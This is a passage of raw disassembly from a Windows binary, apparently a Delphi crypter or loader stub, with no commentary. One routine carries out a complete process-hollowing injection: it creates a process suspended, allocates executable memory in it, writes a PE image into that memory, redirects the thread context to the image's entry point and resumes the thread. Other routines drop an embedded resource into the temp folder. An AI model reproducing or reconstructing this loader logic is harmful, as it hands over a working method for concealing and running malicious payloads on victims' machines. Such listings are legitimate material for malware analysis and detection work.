XREF: sub_100078F4+6j cmp dword ptr [ebx], 0 jnz short loc_100078FC pop ebx retn sub_100078F4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10007914 proc near ; CODE XREF: sub_10007DD0+50p push ebx push offset dword_1000794C call sub_100045C8 ; GetModuleHandleA mov ebx, eax test ebx, ebx jz short loc_10007935 push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push ebx call sub_100045D0 ; GetProcAddress mov ds:dword_100090E8, eax loc_10007935: ; CODE XREF: sub_10007914+Fj cmp ds:dword_100090E8, 0 jnz short loc_10007948 mov eax, offset sub_10005638 mov ds:dword_100090E8, eax loc_10007948: ; CODE XREF: sub_10007914+28j pop ebx retn sub_10007914 endp ; --------------------------------------------------------------------------- align 4 dword_1000794C dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ; DATA XREF: sub_10007914+1o aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_10007914+11o ; =============== S U B R O U T I N E ======================================= sub_10007970 proc near ; CODE XREF: sub_10007C50+22p mov edx, [eax] xor ecx, ecx mov [eax], ecx mov eax, edx call sub_10002C8C retn sub_10007970 endp ; --------------------------------------------------------------------------- align 10h dword_10007980 dd 1Dh ; DATA XREF: sub_10007DD0+1Ao dd offset dword_10009288 dd offset off_10009388 dd offset dword_10009280 dd offset off_10009344 dd offset dword_10009278 dd offset off_100092B8 dd offset dword_10009270 dd offset off_1000939C dd offset dword_10009268 dd offset off_100093B0 dd offset dword_10009260 dd offset off_100092FC dd offset dword_10009258 dd offset off_1000933C dd offset dword_10009250 dd offset off_1000929C dd offset dword_10009248 dd offset off_1000934C dd offset dword_10009240 dd offset off_10009358 dd offset dword_10009238 dd offset off_10009320 dd offset dword_10009230 dd offset off_10009328 dd offset dword_10009228 dd offset off_100093D0 dd offset dword_10009220 dd offset off_10009324 dd offset dword_10009218 dd offset off_100093F0 dd offset dword_10009210 dd offset off_1000937C dd offset dword_10009208 dd offset off_1000936C dd offset dword_10009200 dd offset off_100093F4 dd offset dword_100091F8 dd offset off_100093E0 dd offset dword_100091F0 dd offset off_10009334 dd offset dword_100091E8 dd offset off_100093D4 dd offset dword_100091E0 dd offset off_100093D8 dd offset dword_100091D8 dd offset off_100092F0 dd offset dword_100091D0 dd offset off_100092CC dd offset dword_100091C8 dd offset off_10009368 dd offset dword_100091C0 dd offset off_10009398 dd offset dword_100091B8 dd offset off_100092A0 dd offset dword_100091B0 dd offset off_100093CC dd offset dword_100091A8 dd offset off_10009330 dword_10007A6C dd 28h ; DATA XREF: sub_10007DD0+24o dd offset off_100091A0 dd offset off_100093C4 dd 0 dd offset off_1000919C dd offset off_100092BC align 8 dd offset off_10009198 dd offset off_10009394 dd 0 dd offset off_10009194 dd offset off_100092AC dd 0 dd offset off_10009190 dd offset off_100092D8 dd 0 dd offset off_1000918C dd offset off_100092D0 align 8 dd offset off_10009188 dd offset off_100092C4 dd 0 dd offset off_10009184 dd offset off_1000932C align 10h dd offset off_10009180 dd offset off_10009378 dd 0 dd offset off_1000917C dd offset off_100092D4 align 8 dd offset off_10009178 dd offset off_10009364 dd 0 dd offset off_10009174 dd offset off_100093AC align 10h dd offset off_10009170 dd offset off_100093A4 dd 0 dd offset off_1000916C dd offset off_10009380 align 8 dd offset off_10009168 dd offset off_1000931C dd 0 dd offset off_10009164 dd offset off_10009308 align 10h dd offset off_10009160 dd offset off_100092A8 dd 0 dd offset off_1000915C dd offset off_100093A0 align 8 dd offset off_10009158 dd offset off_10009354 dd 0 dd offset off_10009154 dd offset off_10009300 align 10h dd offset off_10009150 dd offset off_10009348 dd 0 dd offset off_1000914C dd offset off_10009370 align 8 dd offset off_10009148 dd offset off_10009350 dd 0 dd offset off_10009144 dd offset off_10009310 align 10h dd offset off_10009140 dd offset off_100092A4 dd 0 dd offset off_1000913C dd offset off_10009340 align 8 dd offset off_10009138 dd offset off_100093DC dd 0 dd offset off_10009134 dd offset off_100093C0 align 10h dd offset off_10009130 dd offset off_10009360 dd 0 dd offset off_1000912C dd offset off_100092EC align 8 dd offset off_10009128 dd offset off_100092B0 dd 0 dd offset off_10009124 dd offset off_100093B8 align 10h dd offset off_10009120 dd offset off_100093FC dd 0 dd offset off_1000911C dd offset off_100092C8 align 8 dd offset off_10009118 dd offset off_10009298 dd 0 dd offset off_10009114 dd offset off_100093C8 align 10h dd offset off_10009110 dd offset off_1000935C dd 0 dd offset off_1000910C dd offset off_100093E4 align 8 dd offset off_100090F8 dd offset off_10009338 dd 0 dd offset off_100090F4 dd offset off_100092F4 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10007C50 proc near ; DATA XREF: CODE:10008658o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_10007DC5 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1000A790 jnz loc_10007DB7 mov eax, offset dword_1000A79C call sub_10007970 call sub_100078F4 call sub_100070B4 mov eax, offset off_100091DC mov ecx, 16h mov edx, off_10006B8C call sub_10003AB4 mov eax, offset dword_100091A4 mov ecx, 7 mov edx, off_10006B0C call sub_10003AB4 mov eax, offset off_100090EC mov ecx, 2 mov edx, off_10001000 call sub_10003AB4 mov eax, offset off_100090E4 call sub_10003620 mov eax, offset dword_1000A78C mov edx, off_10005414 call sub_10003BCC mov eax, offset dword_1000A788 mov edx, off_100053F0 call sub_10003BCC mov eax, offset dword_1000A750 mov ecx, 7 mov edx, off_10001000 call sub_10003AB4 mov eax, offset dword_1000A724 mov ecx, 7 mov edx, off_10001000 call sub_10003AB4 mov eax, offset dword_1000A708 mov ecx, 7 mov edx, off_10001000 call sub_10003AB4 mov eax, offset dword_1000A6D8 mov ecx, 0Ch mov edx, off_10001000 call sub_10003AB4 mov eax, offset dword_1000A6A8 mov ecx, 0Ch mov edx, off_10001000 call sub_10003AB4 mov eax, offset dword_1000A6A4 call sub_10003620 mov eax, offset dword_1000A6A0 call sub_10003620 mov eax, offset dword_1000A69C call sub_10003620 mov eax, offset dword_1000A698 call sub_10003620 mov eax, offset dword_1000A690 call sub_10003620 mov eax, offset dword_1000A68C call sub_10003620 mov eax, offset dword_1000A680 call sub_10003620 mov eax, offset dword_100090C0 call sub_10003620 mov eax, offset dword_100090AC call sub_10003A2C mov eax, offset dword_100090A8 call sub_10003620 loc_10007DB7: ; CODE XREF: sub_10007C50+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10007DCC loc_10007DC4: ; CODE XREF: sub_10007C50+17Aj retn ; --------------------------------------------------------------------------- loc_10007DC5: ; DATA XREF: sub_10007C50+6o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10007DC4 ; --------------------------------------------------------------------------- loc_10007DCC: ; CODE XREF: sub_10007C50:loc_10007DC4j ; DATA XREF: sub_10007C50+16Fo pop ebp retn sub_10007C50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10007DD0 proc near ; DATA XREF: CODE:10008654o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_10007E38 push dword ptr fs:[eax] mov fs:[eax], esp sub ds:dword_1000A790, 1 jnb short loc_10007E2A mov eax, offset dword_10007980 call sub_100033CC mov eax, offset dword_10007A6C call sub_100033F4 cmp ds:byte_1000A661, 0 jz short loc_10007E16 mov eax, offset off_100090E4 mov edx, offset dword_10007E4C call sub_10003674 loc_10007E16: ; CODE XREF: sub_10007DD0+35j call sub_10007030 call sub_10007134 call sub_10007914 call sub_1000757C loc_10007E2A: ; CODE XREF: sub_10007DD0+18j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10007E3F loc_10007E37: ; CODE XREF: sub_10007DD0+6Dj retn ; --------------------------------------------------------------------------- loc_10007E38: ; DATA XREF: sub_10007DD0+6o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10007E37 ; --------------------------------------------------------------------------- loc_10007E3F: ; CODE XREF: sub_10007DD0:loc_10007E37j ; DATA XREF: sub_10007DD0+62o pop ebp retn sub_10007DD0 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_10007E4C dd 7830h ; DATA XREF: sub_10007DD0+3Co ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10007E50 proc near ; DATA XREF: CODE:10008660o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_10007E75 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1000A7A0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10007E7C loc_10007E74: ; CODE XREF: sub_10007E50+2Aj retn ; --------------------------------------------------------------------------- loc_10007E75: ; DATA XREF: sub_10007E50+6o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10007E74 ; --------------------------------------------------------------------------- loc_10007E7C: ; CODE XREF: sub_10007E50:loc_10007E74j ; DATA XREF: sub_10007E50+1Fo pop ebp retn sub_10007E50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10007E80 proc near ; DATA XREF: CODE:1000865Co sub ds:dword_1000A7A0, 1 retn sub_10007E80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10007E88 proc near ; DATA XREF: CODE:10008668o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_10007EAD push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1000A7A4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10007EB4 loc_10007EAC: ; CODE XREF: sub_10007E88+2Aj retn ; --------------------------------------------------------------------------- loc_10007EAD: ; DATA XREF: sub_10007E88+6o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10007EAC ; --------------------------------------------------------------------------- loc_10007EB4: ; CODE XREF: sub_10007E88:loc_10007EACj ; DATA XREF: sub_10007E88+1Fo pop ebp retn sub_10007E88 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10007EB8 proc near ; DATA XREF: CODE:10008664o sub ds:dword_1000A7A4, 1 retn sub_10007EB8 endp ; =============== S U B R O U T I N E ======================================= sub_10007EC0 proc near ; CODE XREF: sub_10007EE0p ; sub_10007F0C+5Cp jmp short loc_10007EC3 ; --------------------------------------------------------------------------- loc_10007EC2: ; CODE XREF: sub_10007EC0+Cj inc eax loc_10007EC3: ; CODE XREF: sub_10007EC0j ; sub_10007EC0+1Cj mov dl, [eax] test dl, dl jz short loc_10007ECE cmp dl, 20h jbe short loc_10007EC2 loc_10007ECE: ; CODE XREF: sub_10007EC0+7j cmp byte ptr [eax], 22h jnz short locret_10007EDE cmp byte ptr [eax+1], 22h jnz short locret_10007EDE add eax, 2 jmp short loc_10007EC3 ; --------------------------------------------------------------------------- locret_10007EDE: ; CODE XREF: sub_10007EC0+11j ; sub_10007EC0+17j retn sub_10007EC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10007EE0 proc near ; CODE XREF: sub_10007F0C+67p call sub_10007EC0 jmp short loc_10007F04 ; --------------------------------------------------------------------------- loc_10007EE7: ; CODE XREF: sub_10007EE0+29j cmp dl, 22h jnz short loc_10007F03 inc eax jmp short loc_10007EF0 ; --------------------------------------------------------------------------- loc_10007EEF: ; CODE XREF: sub_10007EE0+19j inc eax loc_10007EF0: ; CODE XREF: sub_10007EE0+Dj mov dl, [eax] test dl, dl jz short loc_10007EFB cmp dl, 22h jnz short loc_10007EEF loc_10007EFB: ; CODE XREF: sub_10007EE0+14j cmp byte ptr [eax], 0 jz short loc_10007F04 inc eax jmp short loc_10007F04 ; --------------------------------------------------------------------------- loc_10007F03: ; CODE XREF: sub_10007EE0+Aj inc eax loc_10007F04: ; CODE XREF: sub_10007EE0+5j ; sub_10007EE0+1Ej ... mov dl, [eax] cmp dl, 20h ja short loc_10007EE7 retn sub_10007EE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10007F0C proc near ; CODE XREF: sub_1000820C+177p var_110 = dword ptr -110h var_109 = byte ptr -109h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEF0h push ebx push esi push edi xor ecx, ecx mov [ebp+var_110], ecx mov [ebp+var_4], edx mov esi, eax xor eax, eax push ebp push offset loc_10008016 push dword ptr fs:[eax] mov fs:[eax], esp test esi, esi jnz short loc_10007F5F push 105h lea eax, [ebp+var_109] push eax push 0 call sub_100045C0 ; GetModuleFileNameA mov ecx, eax lea edx, [ebp+var_109] mov eax, [ebp+var_4] call sub_10003710 jmp loc_10007FFD ; --------------------------------------------------------------------------- loc_10007F5F: ; CODE XREF: sub_10007F0C+29j call sub_100045A0 ; GetCommandLineA mov ebx, eax loc_10007F66: ; CODE XREF: sub_10007F0C+79j mov eax, ebx call sub_10007EC0 mov ebx, eax mov edi, ebx mov eax, ebx call sub_10007EE0 mov ebx, eax test esi, esi jz short loc_10007F87 dec esi test esi, esi jl short loc_10007F87 cmp edi, ebx jnz short loc_10007F66 loc_10007F87: ; CODE XREF: sub_10007F0C+70j ; sub_10007F0C+75j mov eax, [ebp+var_4] push eax lea eax, [ebp+var_110] mov edx, edi call sub_100037FC mov eax, [ebp+var_110] mov ecx, ebx sub ecx, edi mov edx, 1 call sub_10003988 mov eax, [ebp+var_4] mov eax, [eax] call sub_10003894 cmp eax, 2 jl short loc_10007FFD mov eax, [ebp+var_4] mov eax, [eax] cmp byte ptr [eax], 22h jnz short loc_10007FFD mov eax, [ebp+var_4] mov eax, [eax] call sub_10003894 mov edx, [ebp+var_4] mov edx, [edx] cmp byte ptr [edx+eax-1], 22h jnz short loc_10007FFD mov eax, [ebp+var_4] push eax mov eax, [ebp+var_4] mov eax, [eax] call sub_10003894 mov ecx, eax sub ecx, 2 mov eax, [ebp+var_4] mov eax, [eax] mov edx, 2 call sub_10003988 loc_10007FFD: ; CODE XREF: sub_10007F0C+4Ej ; sub_10007F0C+ADj ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000801D loc_1000800A: ; CODE XREF: sub_10007F0C+10Fj lea eax, [ebp+var_110] call sub_10003620 retn ; --------------------------------------------------------------------------- loc_10008016: ; DATA XREF: sub_10007F0C+1Co jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_1000800A ; --------------------------------------------------------------------------- loc_1000801D: ; CODE XREF: sub_10007F0C+109j ; DATA XREF: sub_10007F0C+F9o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_10007F0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10008024 proc near ; CODE XREF: sub_10008094+Cp var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push ebx push esi push edi mov esi, ecx mov ebx, edx mov edi, eax xor eax, eax push ebp push offset loc_10008087 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, esi mov edx, edi call sub_10003674 cmp dword ptr [esi], 0 jz short loc_1000805D mov eax, [esi] call sub_10003894 mov edx, [esi] cmp bl, [edx+eax-1] jz short loc_10008071 loc_1000805D: ; CODE XREF: sub_10008024+28j lea eax, [ebp+var_4] mov edx, ebx call sub_100037EC mov edx, [ebp+var_4] mov eax, esi call sub_1000389C loc_10008071: ; CODE XREF: sub_10008024+37j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000808E loc_1000807E: ; CODE XREF: sub_10008024+68j lea eax, [ebp+var_4] call sub_10003620 retn ; --------------------------------------------------------------------------- loc_10008087: ; DATA XREF: sub_10008024+11o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_1000807E ; --------------------------------------------------------------------------- loc_1000808E: ; CODE XREF: sub_10008024+62j ; DATA XREF: sub_10008024+55o pop edi pop esi pop ebx pop ecx pop ebp retn sub_10008024 endp ; =============== S U B R O U T I N E ======================================= sub_10008094 proc near ; CODE XREF: sub_100080A8+4Cp push ebx push esi mov esi, edx mov ebx, eax mov ecx, esi mov dl, 5Ch mov eax, ebx call sub_10008024 pop esi pop ebx retn sub_10008094 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100080A8 proc near ; CODE XREF: CODE:100086A5p ; CODE:100086D3p var_10C = dword ptr -10Ch var_105 = byte ptr -105h push ebp mov ebp, esp add esp, 0FFFFFEF4h push ebx xor edx, edx mov [ebp+var_10C], edx mov ebx, eax xor eax, eax push ebp push offset loc_10008112 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_105] push eax push 105h call sub_100045E8 ; GetTempPathA lea eax, [ebp+var_10C] lea edx, [ebp+var_105] call sub_100037FC mov eax, [ebp+var_10C] mov edx, ebx call sub_10008094 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10008119 loc_10008106: ; CODE XREF: sub_100080A8+6Fj lea eax, [ebp+var_10C] call sub_10003620 retn ; --------------------------------------------------------------------------- loc_10008112: ; DATA XREF: sub_100080A8+17o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10008106 ; --------------------------------------------------------------------------- loc_10008119: ; CODE XREF: sub_100080A8+69j ; DATA XREF: sub_100080A8+59o pop ebx mov esp, ebp pop ebp retn sub_100080A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10008120 proc near ; DATA XREF: CODE:10008670o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_10008165 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1000A7A8 jnz short loc_10008157 cmp ds:dword_1000A7AC, 0 jz short loc_1000814D mov eax, ds:dword_1000A7AC push eax call sub_10004588 ; FreeLibrary loc_1000814D: ; CODE XREF: sub_10008120+20j mov eax, offset dword_10009294 call sub_10003620 loc_10008157: ; CODE XREF: sub_10008120+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000816C loc_10008164: ; CODE XREF: sub_10008120+4Aj retn ; --------------------------------------------------------------------------- loc_10008165: ; DATA XREF: sub_10008120+6o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10008164 ; --------------------------------------------------------------------------- loc_1000816C: ; CODE XREF: sub_10008120:loc_10008164j ; DATA XREF: sub_10008120+3Fo pop ebp retn sub_10008120 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10008170 proc near ; DATA XREF: CODE:1000866Co sub ds:dword_1000A7A8, 1 retn sub_10008170 endp ; =============== S U B R O U T I N E ======================================= sub_10008178 proc near ; CODE XREF: sub_1000820C+ACp ; sub_1000820C+102p ... push ebx mov ebx, edx mov ecx, eax mov eax, ecx xor edx, edx div ebx test edx, edx jnz short loc_1000818B mov eax, ecx pop ebx retn ; --------------------------------------------------------------------------- loc_1000818B: ; CODE XREF: sub_10008178+Dj mov eax, ecx xor edx, edx div ebx inc eax imul ebx pop ebx retn sub_10008178 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10008198 proc near ; CODE XREF: sub_1000820C+34p var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov ecx, [eax+3Ch] add ecx, eax mov edi, [ecx+38h] mov ebx, [ecx+54h] mov eax, ebx xor edx, edx div edi test edx, edx jnz short loc_100081B7 mov [esp+14h+var_14], ebx jmp short loc_100081C3 ; --------------------------------------------------------------------------- loc_100081B7: ; CODE XREF: sub_10008198+18j mov eax, ebx xor edx, edx div edi inc eax imul edi mov [esp+14h+var_14], eax loc_100081C3: ; CODE XREF: sub_10008198+1Dj lea esi, [ecx+18h] movzx eax, word ptr [ecx+14h] add esi, eax movzx ebx, word ptr [ecx+6] dec ebx test ebx, ebx jb short loc_10008202 inc ebx xor ecx, ecx loc_100081D8: ; CODE XREF: sub_10008198+68j lea eax, [ecx+ecx*4] mov ebp, [esi+eax*8+8] test ebp, ebp jz short loc_100081FE mov eax, ebp xor edx, edx div edi test edx, edx jnz short loc_100081F2 add [esp+14h+var_14], ebp jmp short loc_100081FE ; --------------------------------------------------------------------------- loc_100081F2: ; CODE XREF: sub_10008198+53j mov eax, ebp xor edx, edx div edi inc eax imul edi add [esp+14h+var_14], eax loc_100081FE: ; CODE XREF: sub_10008198+49j ; sub_10008198+58j inc ecx dec ebx jnz short loc_100081D8 loc_10008202: ; CODE XREF: sub_10008198+3Bj mov eax, [esp+14h+var_14] pop edx pop ebp pop edi pop esi pop ebx retn sub_10008198 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1000820C proc near ; CODE XREF: CODE:10008705p var_140 = dword ptr -140h var_13C = byte ptr -13Ch var_F8 = dword ptr -0F8h var_F4 = dword ptr -0F4h var_E8 = dword ptr -0E8h var_44 = dword ptr -44h var_38 = dword ptr -38h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEC0h push ebx push esi push edi xor edx, edx mov [ebp+var_140], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_10008498 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] mov eax, [eax+3Ch] add eax, [ebp+var_4] mov [ebp+var_18], eax mov eax, [ebp+var_4] call sub_10008198 mov [ebp+var_10], eax mov eax, [ebp+var_10] call sub_100024F8 mov [ebp+var_1C], eax xor edx, edx push ebp push offset loc_10008478 push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_1C] mov [ebp+var_14], eax mov eax, [ebp+var_18] mov eax, [eax+54h] mov edx, [ebp+var_18] lea esi, [edx+18h] mov edx, [ebp+var_18] movzx edx, word ptr [edx+14h] add esi, edx mov edx, [ebp+var_18] movzx edi, word ptr [edx+6] dec edi test edi, edi jb short loc_1000829F inc edi xor ebx, ebx loc_1000828B: ; CODE XREF: sub_1000820C+91j lea edx, [ebx+ebx*4] cmp eax, [esi+edx*8+14h] jbe short loc_1000829B lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+14h] loc_1000829B: ; CODE XREF: sub_1000820C+86j inc ebx dec edi jnz short loc_1000828B loc_1000829F: ; CODE XREF: sub_1000820C+7Aj mov ecx, eax mov edx, [ebp+var_4] mov eax, [ebp+var_14] call sub_10004690 mov eax, [ebp+var_18] mov edx, [eax+38h] mov eax, [ebp+var_18] mov eax, [eax+54h] call sub_10008178 add eax, [ebp+var_14] mov [ebp+var_14], eax mov eax, [ebp+var_18] movzx edi, word ptr [eax+6] dec edi test edi, edi jb short loc_10008341 inc edi xor ebx, ebx loc_100082D2: ; CODE XREF: sub_1000820C+133j lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+10h] test eax, eax jbe short loc_1000831B lea edx, [ebx+ebx*4] cmp eax, [esi+edx*8+8] jbe short loc_100082ED lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+8] loc_100082ED: ; CODE XREF: sub_1000820C+D8j lea edx, [ebx+ebx*4] mov edx, [esi+edx*8+14h] add edx, [ebp+var_4] mov ecx, eax mov eax, [ebp+var_14] call sub_10004690 lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+8] mov edx, [ebp+var_18] mov edx, [edx+38h] call sub_10008178 add eax, [ebp+var_14] mov [ebp+var_14], eax jmp short loc_1000833D ; --------------------------------------------------------------------------- loc_1000831B: ; CODE XREF: sub_1000820C+CFj lea eax, [ebx+ebx*4] cmp dword ptr [esi+eax*8+8], 0 jz short loc_1000833D lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+8] mov edx, [ebp+var_18] mov edx, [edx+38h] call sub_10008178 add eax, [ebp+var_14] mov [ebp+var_14], eax loc_1000833D: ; CODE XREF: sub_1000820C+10Dj ; sub_1000820C+117j inc ebx dec edi jnz short loc_100082D2 loc_10008341: ; CODE XREF: sub_1000820C+C1j lea eax, [ebp+var_13C] mov edx, 44h call sub_10004698 lea eax, [ebp+var_E8] mov edx, 0CCh call sub_10004698 lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_13C] push eax push 0 push 0 push 4 push 0 push 0 push 0 lea edx, [ebp+var_140] xor eax, eax call sub_10007F0C mov eax, [ebp+var_140] call sub_1000397C push eax push 0 call sub_10004570 ; CreateProcessA mov [ebp+var_E8], 10007h lea eax, [ebp+var_E8] push eax mov eax, [ebp+var_F4] push eax call sub_100045F0 ; GetThreadContext lea eax, [ebp+var_C] push eax push 4 lea eax, [ebp+var_8] push eax mov eax, [ebp+var_44] add eax, 8 push eax mov eax, [ebp+var_F8] push eax call sub_10004620 ; ReadProcessMemory push 40h push 3000h mov eax, [ebp+var_10] push eax mov eax, [ebp+var_18] mov eax, [eax+34h] push eax mov eax, [ebp+var_F8] push eax call sub_10004648 ; VirtualAllocEx lea eax, [ebp+var_C] push eax mov eax, [ebp+var_10] push eax mov eax, [ebp+var_1C] push eax mov eax, [ebp+var_18] mov eax, [eax+34h] push eax mov eax, [ebp+var_F8] push eax call sub_10004660 ; WriteProcessMemory lea eax, [ebp+var_C] push eax push 4 mov eax, [ebp+var_18] add eax, 34h push eax mov eax, [ebp+var_44] add eax, 8 push eax mov eax, [ebp+var_F8] push eax call sub_10004660 ; WriteProcessMemory mov eax, [ebp+var_18] mov eax, [eax+34h] mov edx, [ebp+var_18] add eax, [edx+28h] mov [ebp+var_38], eax lea eax, [ebp+var_E8] push eax mov eax, [ebp+var_F4] push eax call sub_10004630 ; SetThreadContext mov eax, [ebp+var_F4] push eax call sub_10004628 ; ResumeThread xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000847F loc_1000846D: ; CODE XREF: sub_1000820C+271j mov eax, [ebp+var_1C] push eax call sub_100041A8 pop ecx retn ; --------------------------------------------------------------------------- loc_10008478: ; DATA XREF: sub_1000820C+4Ao jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_1000846D ; --------------------------------------------------------------------------- loc_1000847F: ; CODE XREF: sub_1000820C+26Bj ; DATA XREF: sub_1000820C+25Co xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000849F loc_1000848C: ; CODE XREF: sub_1000820C+291j lea eax, [ebp+var_140] call sub_10003620 retn ; --------------------------------------------------------------------------- loc_10008498: ; DATA XREF: sub_1000820C+1Ao jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_1000848C ; --------------------------------------------------------------------------- loc_1000849F: ; CODE XREF: sub_1000820C+28Bj ; DATA XREF: sub_1000820C+27Bo pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_1000820C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100084A8 proc near ; CODE XREF: CODE:100086CBp var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov edi, edx mov esi, eax xor ebx, ebx push 0 push 20h push 2 push 0 push 1 push 40000000h push ecx call sub_10004568 ; CreateFileA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_1000854C xor eax, eax push ebp push offset loc_10008543 push dword ptr fs:[eax] mov fs:[eax], esp push edi push esi push 0 call sub_10004580 ; FindResourceA mov edi, eax push edi mov eax, ds:dword_1000A664 push eax call sub_10004608 ; LoadResource mov esi, eax test esi, esi jz short loc_10008525 push 0 lea eax, [ebp+var_8] push eax push edi mov eax, ds:dword_1000A664 push eax call sub_10004638 ; SizeofResource push eax push esi call sub_10004610 ; LockResource push eax mov eax, [ebp+var_4] push eax call sub_10004658 ; WriteFile jmp short loc_1000852C ; --------------------------------------------------------------------------- loc_10008525: ; CODE XREF: sub_100084A8+56j call sub_1000312C jmp short loc_1000854C ; --------------------------------------------------------------------------- loc_1000852C: ; CODE XREF: sub_100084A8+7Bj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_1000854A loc_10008539: ; CODE XREF: sub_100084A8+A0j mov eax, [ebp+var_4] push eax call sub_10004560 ; CloseHandle retn ; --------------------------------------------------------------------------- loc_10008543: ; DATA XREF: sub_100084A8+30o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10008539 ; --------------------------------------------------------------------------- loc_1000854A: ; DATA XREF: sub_100084A8+8Co mov bl, 1 loc_1000854C: ; CODE XREF: sub_100084A8+2Bj ; sub_100084A8+82j mov eax, ebx pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_100084A8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10008558 proc near ; CODE XREF: CODE:100086EDp var_8 = byte ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov edi, edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_1000396C xor eax, eax push ebp push offset loc_100085E1 push dword ptr fs:[eax] mov fs:[eax], esp xor esi, esi push 0 push 0 push 3 push 0 push 1 push 80000000h mov eax, [ebp+var_4] call sub_1000397C push eax call sub_10004568 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_100085CB push 0 push ebx call sub_100045B0 ; GetFileSize mov [edi], eax mov eax, [edi] call sub_100024F8 mov esi, eax push 0 lea eax, [ebp+var_8] push eax mov eax, [edi] push eax push esi push ebx call sub_10004618 ; ReadFile push ebx call sub_10004560 ; CloseHandle loc_100085CB: ; CODE XREF: sub_10008558+48j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_100085E8 loc_100085D8: ; CODE XREF: sub_10008558+8Ej lea eax, [ebp+var_4] call sub_10003620 retn ; --------------------------------------------------------------------------- loc_100085E1: ; DATA 